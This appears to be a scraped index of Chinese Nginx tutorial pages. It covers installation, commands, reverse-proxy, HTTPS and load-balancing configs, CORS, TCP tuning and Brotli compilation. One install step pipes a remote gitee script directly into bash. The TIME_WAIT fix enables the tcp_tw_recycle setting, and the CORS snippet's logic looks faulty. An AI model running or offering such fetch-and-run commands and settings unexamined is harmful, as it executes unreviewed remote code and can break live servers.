myproxy{server 10.10.1.2:8080;server 10.10.1.3:8080;} 权重 1234upstream myproxy{server 10.10.1.2:8080 weight=5;server 10.10.1.3:8080 weight=10;} ip_hash 12345upstream myproxy{ ip_hash; server 10.10.1.2:8080; server 10.10.1.3:8080;}","tags":[null,null,null,null,null,null],"categories":[null,null]},{"title":"一. Nginx从入门到精通(上)","path":"/wiki/MiddlewareDocs/一. Nginx从入门到精通(上).html","content":"总字符数: 8.92K 代码: 2.68K, 文本: 3.27K 预计阅读时间: 26 分钟 examples目录中的示例模拟了工作中的一些常用实战场景,并且都可以通过脚本一键式启动,让您可以快速看到演示效果. Nginx 简介什么是 NginxNginx (engine x) 是一款轻量级的 Web 服务器 、反向代理服务器及电子邮件(IMAP/POP3)代理服务器. 什么是反向代理反向代理(Reverse Proxy)方式是指以代理服务器来接受 internet 上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给 internet 上请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器. Ngnix 特点 模块化设计:良好的扩展性,可以通过模块方式进行功能扩展. 高可靠性:主控进程和 worker 是同步实现的,一个 worker 出现问题,会立刻启动另一个 worker. 内存消耗低:一万个长连接(keep-alive),仅消耗 2.5MB 内存. 支持热部署:不用停止服务器,实现更新配置文件,更换日志文件、更新服务器程序版本. 并发能力强:官方数据每秒支持 5 万并发; 功能丰富:优秀的反向代理功能和灵活的负载均衡策略 Nginx 功能 支持静态资源的 web 服务器. http,smtp,pop3 协议的反向代理服务器、缓存、负载均衡; 支持 FASTCGI(fpm) 支持模块化,过滤器(让文本可以实现压缩,节约带宽),ssl 及图像大小调整. 内置的健康检查功能 基于名称和 ip 的虚拟主机 定制访问日志 支持平滑升级 支持 KEEPALIVE 支持 url rewrite 支持路径别名 支持基于 IP 和用户名的访问控制. 支持传输速率限制,支持并发数限制. Nginx 性能Nginx 的高并发,官方测试支持 5 万并发连接.实际生产环境能到 2-3 万并发连接数.10000 个非活跃的 HTTP keep-alive 连接仅占用约 2.5MB 内存.三万并发连接下,10 个 Nginx 进程,消耗内存 150M.淘宝 tengine 团队测试结果是”24G 内存机器上,处理并发请求可达 200 万”. Ngnix 架构主从模式 Nginx采用一主多从的主从架构 但是这里 master 是使用 root 身份启动的,因为 nginx 要工作在 80 端口.而只有管理员才有权限启动小于低于 1023 的端口.master 主要是负责的作用只是启动 worker,加载配置文件,负责系统的平滑升级.其它的工作是交给 worker.那么当 worker 被启动之后,也只是负责一些 web 最简单的工作,而其他的工作都是有 worker 中调用的模块来实现的. 模块之间是以流水线的方式实现功能的.流水线,指的是一个用户请求,由多个模块组合各自的功能依次实现完成的.比如:第一个模块只负责分析请求首部,第二个模块只负责查找数据,第三个模块只负责压缩数据,依次完成各自工作.来实现整个工作的完成. 他们是如何实现热部署的呢?其实是这样的,我们前面说 master 不负责具体的工作,而是调用 worker 工作,他只是负责读取配置文件,因此当一个模块修改或者配置文件发生变化,是由 master 进行读取,因此此时不会影响到 worker 工作.在 master 进行读取配置文件之后,不会立即的把修改的配置文件告知 worker.而是让被修改的 worker 继续使用老的配置文件工作,当 worker 工作完毕之后,直接Down掉这个子进程,更换新的子进程,使用新的规则. sendfile 机制Nginx支持 sendfile 机制 所谓 Sendfile 机制,是指:用户将请求发给内核,内核根据用户的请求调用相应用户进程,进程在处理时需要资源.此时再把请求发给内核(进程没有直接 IO 的能力),由内核加载数据.内核查找到数据之后,会把数据复制给用户进程,由用户进程对数据进行封装,之后交给内核,内核在进行 tcp/ip 首部的封装,最后再发给客户端.这个功能用户进程只是发生了一个封装报文的过程,却要绕一大圈.因此 nginx 引入了 sendfile 机制,使得内核在接受到数据之后,不再依靠用户进程给予封装,而是自己查找自己封装,减少了一个很长一段时间的浪费,这是一个提升性能的核心点. 以上内容摘自网友发布的文章,简单一句话是资源的处理,直接通过内核层进行数据传递,避免了数据传递到应用层,应用层再传递到内核层的开销. 目前高并发的处理,一般都采用 sendfile 模式.通过直接操作内核层数据,减少应用与内核层数据传递. I/O 复用机制Nginx通信模型采用 I/O 复用机制 开发模型:epoll 和 kqueue. 支持的事件机制:kqueue、epoll、rt signals、/dev/poll 、event ports、select 以及 poll. 支持的 kqueue 特性包括 EV_CLEAR、EV_DISABLE、NOTE_LOWAT、EV_EOF,可用数据的数量,错误代码. 支持 sendfile、sendfile64 和 sendfilev;文件 AIO;DIRECTIO;支持 Accept-filters 和 TCP_DEFER_ACCEP. 以上概念较多,大家自行百度或谷歌,知识领域是网络通信(BIO,NIO,AIO)和多线程方面的知识. Nginx 负载均衡(SLB)nginx 的负载均衡策略可以划分为两大类:内置策略和扩展策略.内置策略包含加权轮询和 ip hash,在默认情况下这两种策略会编译进 nginx 内核,只需在 nginx 配置中指明参数即可.扩展策略有很多,如 fair、通用 hash、consistent hash 等,默认不编译进 nginx 内核.由于在 nginx 版本升级中负载均衡的代码没有本质性的变化,因此下面将以 nginx 1.0.15 稳定版为例,从源码角度分析各个策略. 加权轮询Nginx支持加权轮询(Weighted Round Robin)负载均衡. 轮询的原理很简单,首先我们介绍一下轮询的基本流程.如下是处理一次请求的流程图: 图中有两点需要注意,第一,如果可以把加权轮询算法分为先深搜索和先广搜索,那么 nginx 采用的是先深搜索算法,即将首先将请求都分给高权重的机器,直到该机器的权值降到了比其他机器低,才开始将请求分给下一个高权重的机器;第二,当所有后端机器都 down 掉时,nginx 会立即将所有机器的标志位清成初始状态,以避免造成所有的机器都处在 timeout 的状态,从而导致整个前端被夯住. Ip HashNginx支持 Ip Hash 负载均衡 通过 Ip Hash 这种负载均衡策略,可以实现会话粘滞. Fairfair 策略是扩展策略,默认不被编译进 nginx 内核.其原理是根据后端服务器的响应时间判断负载情况,从中选出负载最轻的机器进行分流.这种策略具有很强的自适应性,但是实际的网络环境往往不是那么简单,因此要慎用. 通用 Hash、一致性 Hash这两种也是扩展策略,在具体的实现上有些差别,通用 hash 比较简单,可以以 nginx 内置的变量为 key 进行 hash,一致性 hash 采用了 nginx 内置的一致性 hash 环,可以支持 memcache. Nginx 场景Ngnix 一般作为入口负载均衡或内部负载均衡,结合反向代理服务器使用.以下架构示例,仅供参考,具体使用根据场景而定. 入口负载均衡架构 Ngnix 服务器在用户访问的最前端.根据用户请求再转发到具体的应用服务器或二级负载均衡服务器(LVS) 内部负载均衡架构 LVS 作为入口负载均衡,将请求转发到二级 Ngnix 服务器,Ngnix 再根据请求转发到具体的应用服务器. Ngnix 高可用 分布式系统中,应用只部署一台服务器会存在单点故障,负载均衡同样有类似的问题.一般可采用主备或负载均衡设备集群的方式节约单点故障或高并发请求分流. Ngnix 高可用,至少包含两个 Ngnix 服务器,一台主服务器,一台备服务器,之间使用 Keepalived 做健康监控和故障检测.开放 VIP 端口,通过防火墙进行外部映射. DNS 解析公网的 IP 实际为 VIP. Nginx 入门Nginx安装普通安装Windows 安装(1)进入官方下载地址,选择合适版本(nginx/Windows-xxx). (2)解压到本地 (3)启动 下面以 C 盘根目录为例说明下: 12start nginxnginx.exe -s stop 注:Nginx / Win32 是运行在一个控制台程序,而非 windows 服务方式的.服务器方式目前还是开发尝试中. Linux 安装rpm 包方式12345678910111213# 进入工作目录cd /opt# 进入下载页面:http://nginx.org/packages/选择合适版本下载wget http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm# 安装 nginx rpm 包 nginx rpm 包实际上安装的是 nginx 的 yum 源.rpm -ivh nginx-*.rpm# 正式安装 rpm 包yum install nginx -y# 启动nginxsystemctl start nginx.service# 防火墙放行80端口firewall-cmd --zone=public --add-port=80/tcp --permanentfirewall-cmd --reload 源码编译方式12345678910111213141516171819202122232425262728293031# Nginx 源码的编译依赖于 gcc 以及一些库文件,所以必须提前安装.yum install -y deltarpm gcc gcc-c++ unixODBC-devel httpd mysql-devel libcurl libcurl-devel libevent libevent-devel curl-devel libxml2 libxml2-devel net-snmp-devel pcre-devel java-devel openssl-devel perl-ExtUtils-Embed at python subversion gperf make rpm-build git bzip2-devel gd gd-devel t1lib t1lib-devel GeoIP-devel libatomic_ops-devel zlib-devel unzip libstdc++* net-snmp net-snmp* gmp gmp-devel openldap openldap-devel libpcap-devel glib2-devel GeoIP-devel vim wget git libtool make automake mlocate pam-devel unzip screen openssl iptables-services bash-completion* libxslt* curl net-tools libssh2-devel# 进入官网下载地址:http://nginx.org/en/download.html ,选择合适的版本下载.cd /optwget http://nginx.org/download/nginx-1.12.2.tar.gz# 解压tar -zxvf nginx-1.12.2.tar.gz# 进入目录cd nginx-1.12.2/# 编译安装./configure \\ --prefix=/usr/local/nginx \\ --pid-path=/var/run/nginx/nginx.pid \\ --lock-path=/var/lock/nginx.lock \\ --error-log-path=/var/log/nginx/error.log \\ --http-log-path=/var/log/nginx/access.log \\ --with-http_gzip_static_module \\ --http-client-body-temp-path=/var/temp/nginx/client \\ --http-proxy-temp-path=/var/temp/nginx/proxy \\ --http-fastcgi-temp-path=/var/temp/nginx/fastcgi \\ --http-uwsgi-temp-path=/var/temp/nginx/uwsgi \\ --http-scgi-temp-path=/var/temp/nginx/scgi# 安装make && make install# 放行防火墙firewall-cmd --zone=public --add-port=80/tcp --permanentfirewall-cmd --reload# 启动 Nginx 安装成功后,直接执行 nginx 命令即可启动 nginx.nginx Docker 安装 官网镜像:https://hub.docker.com/_/nginx/ 下载镜像:docker pull nginx 启动容器:docker run -d -p 80:80 --name my-nginx nginx 重新加载配置(目前测试无效,只能重启服务):docker exec -it my-nginx nginx -s reload 停止服务:docker exec -it my-nginx nginx -s stop 或者:docker stop my-nginx 重新启动服务:docker restart my-nginx 查看正在运行的容器:docker ps 脚本 CentOS7 环境安装脚本:软件运维配置脚本集合 安装说明 采用编译方式安装 Nginx, 并将其注册为 systemd 服务 安装路径为:/usr/local/nginx 默认下载安装 1.16.0 版本 使用方法 默认安装 - 执行以下任意命令即可: 1wget -qO- https://gitee.com/turnon/linux-tutorial/raw/master/codes/linux/soft/nginx-install.sh | bash 自定义安装 - 下载脚本到本地,并按照以下格式执行: 1sh nginx-install.sh [version] Nginx常用命令nginx 的使用比较简单,就是几条命令. 常用到的命令如下: 12345678nginx -s stop 快速关闭Nginx,可能不保存相关信息,并迅速终止web服务.nginx -s quit 平稳关闭Nginx,保存相关信息,有安排的结束web服务.nginx -s reload 因改变了Nginx相关配置,需要重新加载配置而重载.nginx -s reopen 重新打开日志文件.nginx -c filename 为 Nginx 指定一个配置文件,来代替缺省的.nginx -t 不运行,仅仅测试配置文件.nginx 将检查配置文件的语法的正确性,并尝试打开配置文件中所引用到的文件.nginx -v 显示 nginx 的版本.nginx -V 显示 nginx 的版本,编译器版本和配置参数. 如果不想每次都敲命令,可以在 nginx 安装目录下新添一个启动批处理文件startup.bat,双击即可运行.内容如下: 123456789101112@echo offrem 如果启动前已经启动nginx并记录下pid文件,会kill指定进程nginx.exe -s stoprem 测试配置文件语法正确性nginx.exe -t -c conf/nginx.confrem 显示版本信息nginx.exe -vrem 按照指定配置去启动nginxnginx.exe -c conf/nginx.conf 如果是运行在 Linux 下,写一个 shell 脚本,大同小异","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"一. Nginx从入门到精通(下)","path":"/wiki/MiddlewareDocs/一. Nginx从入门到精通(下).html","content":"总字符数: 17.17K 代码: 8.84K, 文本: 3.25K 预计阅读时间: 53 分钟 Nginx 实战我始终认为,各种开发工具的配置还是结合实战来讲述,会让人更易理解. Http 反向代理我们先实现一个小目标:不考虑复杂的配置,仅仅是完成一个 http 反向代理. nginx.conf 配置文件如下: 注:conf/nginx.conf 是 nginx 的默认配置文件.你也可以使用 nginx -c 指定你的配置文件 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107#运行用户#user nobody;#启动进程,通常设置成和cpu的数量相等worker_processes 1;#全局错误日志error_log logs/error.log;error_log logs/notice.log notice;error_log logs/info.log info;#PID文件,记录当前启动的nginx的进程IDpid logs/nginx.pid;# 工作模式及连接数上限events { worker_connections 1024; #单个后台worker process进程的最大并发链接数}#设定http服务器,利用它的反向代理功能提供负载均衡支持http { #设定mime类型(邮件支持类型),类型由mime.types文件定义 include conf/mime.types; default_type application/octet-stream; #设定日志\tlog_format main '[$remote_addr] - [$remote_user] [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log logs/access.log main; rewrite_log on; #sendfile 指令指定 nginx 是否调用 sendfile 函数(zero copy 方式)来输出文件,对于普通应用, #必须设为 on,如果用来进行下载等应用磁盘IO重负载应用,可设置为 off,以平衡磁盘与网络I/O处理速度,降低系统的uptime. sendfile on; #tcp_nopush on; #连接超时时间 keepalive_timeout 120; tcp_nodelay on;\t#gzip压缩开关\t#gzip on; #设定实际的服务器列表 upstream zp_server1{ server 127.0.0.1:8089; } #HTTP服务器 server { #监听80端口,80端口是知名端口号,用于HTTP协议 listen 80; #定义使用www.xx.com访问 server_name www.helloworld.com; #首页 index index.html #指向webapp的目录 root html; #编码格式 charset utf-8; #代理配置参数 proxy_connect_timeout 180; proxy_send_timeout 180; proxy_read_timeout 180; proxy_set_header Host $host; proxy_set_header X-Forwarder-For $remote_addr; #反向代理的路径(和upstream绑定),location 后面设置映射的路径 location / { proxy_pass http://zp_server1; } #静态文件,nginx自己处理 location ~ ^/(images|javascript|js|css|flash|media|static)/ { root html/views; #过期30天,静态文件不怎么更新,过期可以设大一点,如果频繁更新,则可以设置得小一点. expires 30d; } #设定查看Nginx状态的地址 location /NginxStatus { stub_status on; access_log on; auth_basic "NginxStatus"; auth_basic_user_file conf/htpasswd; } #禁止访问 .htxxx 文件 location ~ /\\.ht { deny all; } #错误处理页面(可选择性配置) #error_page 404 /404.html; #error_page 500 502 503 504 /50x.html; #location = /50x.html { # root html; #} }} 好了,让我们来试试吧: 启动 webapp,注意启动绑定的端口要和 nginx 中的 upstream 设置的端口保持一致. 更改 host:在 C:\\Windows\\System32\\drivers\\etc 目录下的 host 文件中添加一条 DNS 记录 1127.0.0.1 www.helloworld.com 启动前文中 startup.bat 的命令 在浏览器中访问 www.helloworld.com,不出意外,已经可以访问了. Https 反向代理一些对安全性要求比较高的站点,可能会使用 HTTPS(一种使用 ssl 通信标准的安全 HTTP 协议). 这里不科普 HTTP 协议和 SSL 标准.但是,使用 nginx 配置 https 需要知道几点: HTTPS 的固定端口号是 443,不同于 HTTP 的 80 端口 SSL 标准需要引入安全证书,所以在 nginx.conf 中你需要指定证书和它对应的 key 其他和 http 反向代理基本一样,只是在 Server 部分配置有些不同. 12345678910111213141516171819202122232425#HTTP服务器server { #监听443端口.443为知名端口号,主要用于HTTPS协议 listen 443 ssl; #定义使用www.xx.com访问 server_name www.helloworld.com; #ssl证书文件位置(常见证书文件格式为:crt/pem) ssl_certificate cert.pem; #ssl证书key位置 ssl_certificate_key cert.key; #ssl配置参数(选择性配置) ssl_session_cache shared:SSL:1m; ssl_session_timeout 5m; #数字签名,此处使用MD5 ssl_ciphers HIGH:!aNULL:!MD5; ssl_prefer_server_ciphers on; location / { root /root; index index.html index.htm; }} 负载均衡前面的例子中,代理仅仅指向一个服务器. 但是,网站在实际运营过程中,大部分都是以集群的方式运行,这时需要使用负载均衡来分流. nginx 也可以实现简单的负载均衡功能. 假设这样一个应用场景:将应用部署在 192.168.1.11:80、192.168.1.12:80、192.168.1.13:80 三台 linux 环境的服务器上.网站域名叫 www.helloworld.com ,公网 IP 为 192.168.1.11.在公网 IP 所在的服务器上部署 nginx,对所有请求做负载均衡处理(下面例子中使用的是加权轮询策略). nginx.conf 配置如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748http { #设定mime类型,类型由mime.type文件定义 include /etc/nginx/mime.types; default_type application/octet-stream; #设定日志格式 access_log /var/log/nginx/access.log; #设定负载均衡的服务器列表 upstream load_balance_server { #weigth参数表示权值,权值越高被分配到的几率越大 server 192.168.1.11:80 weight=5; server 192.168.1.12:80 weight=1; server 192.168.1.13:80 weight=6; } #HTTP服务器 server { #侦听80端口 listen 80; #定义使用www.xx.com访问 server_name www.helloworld.com; #对所有请求进行负载均衡请求 location / { root /root; #定义服务器的默认网站根目录位置 index index.html index.htm; #定义首页索引文件的名称 proxy_pass http://load_balance_server ;#请求转向load_balance_server 定义的服务器列表 #以下是一些反向代理的配置(可选择性配置) #proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; #后端的Web服务器可以通过X-Forwarded-For获取用户真实IP proxy_set_header X-Forwarded-For $remote_addr; proxy_connect_timeout 90; #nginx跟后端服务器连接超时时间(代理连接超时) proxy_send_timeout 90; #后端服务器数据回传时间(代理发送超时) proxy_read_timeout 90; #连接成功后,后端服务器响应时间(代理接收超时) proxy_buffer_size 4k; #设置代理服务器(nginx)保存用户头信息的缓冲区大小 proxy_buffers 4 32k; #proxy_buffers缓冲区,网页平均在32k以下的话,这样设置 proxy_busy_buffers_size 64k; #高负荷下缓冲大小(proxy_buffers*2) proxy_temp_file_write_size 64k; #设定缓存文件夹大小,大于这个值,将从upstream服务器传 client_max_body_size 10m; #允许客户端请求的最大单文件字节数 client_body_buffer_size 128k; #缓冲区代理缓冲用户端请求的最大字节数 } }} 负载均衡策略Nginx 提供了多种负载均衡策略,让我们来一一了解一下: 负载均衡策略在各种分布式系统中基本上原理一致,对于原理有兴趣,不妨参考 负载均衡 轮询123456upstream bck_testing_01 { # 默认所有服务器权重为 1 server 192.168.250.220:8080 server 192.168.250.221:8080 server 192.168.250.222:8080} 加权轮询12345upstream bck_testing_01 { server 192.168.250.220:8080 weight=3 server 192.168.250.221:8080 # default weight=1 server 192.168.250.222:8080 # default weight=1} 最少连接12345678upstream bck_testing_01 { least_conn; # with default weight for all (weight=1) server 192.168.250.220:8080 server 192.168.250.221:8080 server 192.168.250.222:8080} 加权最少连接1234567upstream bck_testing_01 { least_conn; server 192.168.250.220:8080 weight=3 server 192.168.250.221:8080 # default weight=1 server 192.168.250.222:8080 # default weight=1} IP Hash12345678910upstream bck_testing_01 { ip_hash; # with default weight for all (weight=1) server 192.168.250.220:8080 server 192.168.250.221:8080 server 192.168.250.222:8080} 普通 Hash12345678910upstream bck_testing_01 { hash $request_uri; # with default weight for all (weight=1) server 192.168.250.220:8080 server 192.168.250.221:8080 server 192.168.250.222:8080} 网站有多个 webapp 的配置当一个网站功能越来越丰富时,往往需要将一些功能相对独立的模块剥离出来,独立维护.这样的话,通常,会有多个 webapp. 举个例子:假如 www.helloworld.com 站点有好几个 webapp,finance(金融)、product(产品)、admin(用户中心).访问这些应用的方式通过上下文(context)来进行区分: www.helloworld.com/finance/ www.helloworld.com/product/ www.helloworld.com/admin/ 我们知道,http 的默认端口号是 80,如果在一台服务器上同时启动这 3 个 webapp 应用,都用 80 端口,肯定是不成的.所以,这三个应用需要分别绑定不同的端口号. 那么,问题来了,用户在实际访问 www.helloworld.com 站点时,访问不同 webapp,总不会还带着对应的端口号去访问吧.所以,你再次需要用到反向代理来做处理. 配置也不难,来看看怎么做吧: 1234567891011121314151617181920212223242526272829303132333435http {\t#此处省略一些基本配置\tupstream product_server{ server www.helloworld.com:8081;\t}\tupstream admin_server{ server www.helloworld.com:8082;\t}\tupstream finance_server{ server www.helloworld.com:8083;\t}\tserver { #此处省略一些基本配置 #默认指向product的server location / { proxy_pass http://product_server; } location /product/{ proxy_pass http://product_server; } location /admin/ { proxy_pass http://admin_server; } location /finance/ { proxy_pass http://finance_server; }\t}} 搭建文件服务器有时候,团队需要归档一些数据或资料,那么文件服务器必不可少.使用 Nginx 可以非常快速便捷的搭建一个简易的文件服务. Nginx 中的配置要点: 将 autoindex 开启可以显示目录,默认不开启. 将 autoindex_exact_size 开启可以显示文件的大小. 将 autoindex_localtime 开启可以显示文件的修改时间. root 用来设置开放为文件服务的根路径. charset 设置为 charset utf-8,gbk;,可以避免中文乱码问题(windows 服务器下设置后,依然乱码,本人暂时没有找到解决方法). 一个最简化的配置如下: 12345678910autoindex on;# 显示目录autoindex_exact_size on;# 显示文件大小autoindex_localtime on;# 显示文件时间server { charset utf-8,gbk; # windows 服务器下设置后,依然乱码,暂时无解 listen 9050; server_name _; root /share/fs;} 解决跨域web 领域开发中,经常采用前后端分离模式.这种模式下,前端和后端分别是独立的 web 应用程序,例如:后端是 Java 程序,前端是 React 或 Vue 应用. 各自独立的 web app 在互相访问时,势必存在跨域问题.解决跨域问题一般有两种思路: CORS 在后端服务器设置 HTTP 响应头,把你需要允许访问的域名加入 Access-Control-Allow-Origin 中. jsonp 把后端根据请求,构造 json 数据,并返回,前端用 jsonp 跨域. 这两种思路,本文不展开讨论. 需要说明的是,nginx 根据第一种思路,也提供了一种解决跨域的解决方案. 举例:www.helloworld.com 网站是由一个前端 app ,一个后端 app 组成的.前端端口号为 9000, 后端端口号为 8080. 前端和后端如果使用 http 进行交互时,请求会被拒绝,因为存在跨域问题.来看看,nginx 是怎么解决的吧: 首先,在 enable-cors.conf 文件中设置 cors : 1234567891011121314151617181920212223242526# allow origin listset $ACAO '*';# set single originif ($http_origin ~* (www.helloworld.com)$) { set $ACAO $http_origin;}if ($cors = "trueget") {\tadd_header 'Access-Control-Allow-Origin' "$http_origin";\tadd_header 'Access-Control-Allow-Credentials' 'true';\tadd_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';\tadd_header 'Access-Control-Allow-Headers' 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type';}if ($request_method = 'OPTIONS') { set $cors "${cors}options";}if ($request_method = 'GET') { set $cors "${cors}get";}if ($request_method = 'POST') { set $cors "${cors}post";} 接下来,在你的服务器中 include enable-cors.conf 来引入跨域配置: 12345678910111213141516171819202122232425262728# ----------------------------------------------------# 此文件为项目 nginx 配置片段# 可以直接在 nginx config 中 include(推荐)# 或者 copy 到现有 nginx 中,自行配置# www.helloworld.com 域名需配合 dns hosts 进行配置# 其中,api 开启了 cors,需配合本目录下另一份配置文件# ----------------------------------------------------upstream front_server{ server www.helloworld.com:9000;}upstream api_server{ server www.helloworld.com:8080;}server { listen 80; server_name www.helloworld.com; location ~ ^/api/ { include enable-cors.conf; proxy_pass http://api_server; rewrite "^/api/(.*)$" /$1 break; } location ~ ^/ { proxy_pass http://front_server; }} 到此,就完成了. Nginx问题集Nginx 出现大量 TIME_WAIT检测TIME_WAIT状态的语句123456$ netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' SYN_RECV 7ESTABLISHED 756FIN_WAIT1 21SYN_SENT 3TIME_WAIT 2000 状态解析: CLOSED - 无连接是活动的或正在进行 LISTEN - 服务器在等待进入呼叫 SYN_RECV - 一个连接请求已经到达,等待确认 SYN_SENT - 应用已经开始,打开一个连接 ESTABLISHED - 正常数据传输状态 FIN_WAIT1 - 应用说它已经完成 FIN_WAIT2 - 另一边已同意释放 ITMED_WAIT - 等待所有分组死掉 CLOSING - 两边同时尝试关闭 TIME_WAIT - 另一边已初始化一个释放 LAST_ACK - 等待所有分组死掉 解决方法执行 vim /etc/sysctl.conf,并添加下面字段 1234net.ipv4.tcp_syncookies = 1net.ipv4.tcp_tw_reuse = 1net.ipv4.tcp_tw_recycle = 1net.ipv4.tcp_fin_timeout = 30 执行 /sbin/sysctl -p 让修改生效. 上传文件大小限制问题现象显示错误信息:413 Request Entity Too Large. 意思是请求的内容过大,浏览器不能正确显示.常见的情况是发送 POST 请求来上传大文件. 解决方法 可以在 http 模块中设置:client_max_body_size 20m; 可以在 server 模块中设置:client_max_body_size 20m; 可以在 location 模块中设置:client_max_body_size 20m; 三者区别是: 如果文大小限制设置在 http 模块中,则对所有 Nginx 收到的请求. 如果文大小限制设置在 server 模块中,则只对该 server 收到的请求生效. 如果文大小限制设置在 location 模块中,则只对匹配了 location 路由规则的请求生效. 请求时间限制问题现象请求时间较长,链接被重置页面刷新.常见的情况是:上传、下载大文件. 解决方法修改超时时间 Nginx编译参数详解理论上来说 Nginx 没有必选参数,所有参数都是可选的,基本上只添加--prefix参数即可,但不选任何参数就毫无意义了. Nginx 的核心功能包括 HTTP 、 Mail 和 Stream ,本文将以核心功能为区分解析 Nginx 的编译参数. 可能仅介绍一些核心参数,对于非核心参数请查看 Nginx 官方文档. 基础路径类 参数 示例值 说明 --prefix=<path> /etc/nginx Nginx 安装的根路径, 所有其它路径类参数都要依赖该选项 --sbin-path=<path> /usr/sbin/nginx Nginx 二进制文件路径, 不指定则使用<prefix>/sbin/nginx --conf-path=<path> /etc/nginx/nginx.conf 配置文件默认路径, 不指定则需要在运行时附带-c参数 --error-log-path=<path> /var/log/nginx/error.log 错误日志路径, 可以被配置文件中的配置项覆盖掉 --pid-path=<path> /var/run/nginx.pid Nginx 主进程 PID 写入位置 --user=<user> nginx Worker 进程运行的用户 --group=<group> nginx Worker 进程运行的组 --modules-path=<path> /usr/lib/nginx/modules Nginx 模块路径 --lock-path=<path> /var/run/nginx.lock Lock文件位置 --http-log-path /var/log/nginx/access.log HTTP 访问日志位置 HTTP 功能类 参数 说明 --with-http_ssl_module 启用SSL支持 --with-http_v2_module 启用HTTP2支持 --with-http_realip_module 当Nginx服务器在反向代理后面的时候, 该模块可让 Nginx 知晓真正的用户IP --with-http_addition_module 过滤相应前后的文本 --with-http_image_filter_module 转换 JPEG、GIF、PNG 和 WebP 格式图像 该模块可被编译为动态模块 --with-http_sub_module 可以替换指定的字符串来修改响应数据 --with-http_dav_module 开启 WebDAV 协议 --with-http_flv_module 对 Flash 启用服务端支持 --with-http_mp4_module 对 MP4 文件启用服务端支持 --with-http_gunzip_module 对不支持 gzip 编码方法的客户端解压缩 Content-Encoding:gzip 的响应. 可以存储压缩数据以节省空间并降低 I/O 成本 --with-http_gzip_static_module 发送以 .gz 结尾的预压缩文件替代普通文件 --with-http_auth_request_module 基于子请求结果实现客户端授权 --with-http_random_index_module 随机选择目录中的文件作为索引文件展示 --with-http_secure_link_module 用于检查请求链接的真实性, 保护资源免受未经授权的访问, 并限制链接有效时长. --with-http_degradation_module 用于当主机剩余内存较低时,用户请求访问, Nginx会对某些请求返回204或444的响应码 --with-http_slice_module 将请求切片并返回 --with-http_stub_status_module 提供对基本状态信息的访问的支持 --without-http 禁用 HTTP 功能 --without-http-cache 禁用 HTTP 缓存功能 邮件类 参数 说明 --with-mail 启用邮件功能 该模块可被编译为动态模块 --with-mail_ssl_module 对邮件功能启用SSL --without-mail_pop3_module 禁用POP3 --without-mail_imap_module 禁用IMAP --without-mail_smtp_module 禁用SMTP 其他参数 参数 说明 --with-google_perftools_module 可以使用 Google 性能工具 对 nginx 的 worker 进程进行分析 --with-compat 启用动态模块兼容性 --with-file-aio 启用异步IO --with-threads 启用线程池功能 --with-cpu-opt=<cpu> 为特定的CPU执行编译操作 有效的值:pentium,pentiumpro,pentium3,pentium4,athlon,opteron,sparc32,sparc64,ppc64. 模块配置示例http_random_index_module123location / { random_index on;} http_stub_status_module123location = /basic_status { stub_status;} 其他附加模块ngx_brotli Brotli 是基于LZ77算法的一个现代变体、霍夫曼编码和二阶上下文建模.Google软件工程师在2015年9月发布了包含通用无损数据压缩的Brotli增强版本,特别侧重于HTTP压缩.其中的编码器被部分改写以提高压缩比,编码器和解码器都提高了速度,流式API已被改进,增加更多压缩质量级别. 与常见的通用压缩算法不同,Brotli使用一个预定义的120千字节字典.该字典包含超过13000个常用单词、短语和其他子字符串,这些来自一个文本和HTML文档的大型语料库.预定义的算法可以提升较小文件的压缩密度. 使用Brotli替换Deflate来对文本文件压缩通常可以增加20%的压缩密度,而压缩与解压缩速度则大致不变. 下载源码 123cd /usr/local/src/git clone https://github.com/google/ngx_brotlicd ngx_brotli && git submodule update --init 重新编译 Nginx 编译时只需要在原有的编译参数后面添加--add-module=/usr/local/src/ngx_brotli. 12# 示例如下:./configure --prefix=/usr/share/nginx --with-http_ssl_module --add-module=/usr/local/src/ngx_brotli 检查是否安装成功 1nginx -V 输出中有ngx_brotli字样即为成功. 修改配置文件 1234#Brotli Compressionbrotli on; # switchbrotli_comp_level 6; # level 1-11brotli_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript application/javascript image/svg+xml; 其中brotli_comp_level值为压缩比,1 压缩比最小,处理速度最快,11 压缩比最大,传输速度快,但是处理慢,也比较消耗CPU资源.","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"三. Nginx-Examples使用说明","path":"/wiki/MiddlewareDocs/三. Nginx-Examples使用说明.html","content":"总字符数: 4.63K 代码: 0.51K, 文本: 1.76K 预计阅读时间: 10 分钟 Nginx 示例教程Nginx-Examples在以下GitHub中 教程说明环境要求 Maven JDK8 Nginx-1.14.0(内置) Maven安装解压 maven 压缩包. 解压apache-maven-3.9.3-bin.tar.gz,并把解压后的文件夹下的apache-maven-3.9.3文件夹移动到D:\\下并重命名为maven. 配置maven 的环境变量 右键”计算机”,选择”属性”,之后点击”高级系统设置”,点击”环境变量”,来设置环境变量,有以下系统变量需要配置: 新建系统变量MAVEN_HOME变量值:D:\\Software\\maven 编辑系统变量Path添加变量值%MAVEN_HOME%\\bin 本地仓库的配置(默认在C盘)这个配置文件:maven安装路径下\\conf\\settings.xml文件中 换源:配置中央仓库的镜像还是在settings.xml文件中,在mirrors标签中添加子标签如下 123456<mirror> <id>alimaven</id>\t<name>aliyun maven</name>\t<url>http://maven.aliyun.com/nexus/content/groups/public/</url>\t<mirrorOf>central</mirrorOf></mirror> javaapp我写了一个嵌入式 Tomcat 的 Java 服务,代码在 javaapp 目录,基于 maven 管理.这个服务可以通过在启动时指定 -Dtomcat.connector.port 和 -Dtomcat.context.path 来分别指定服务启动时的端口号和 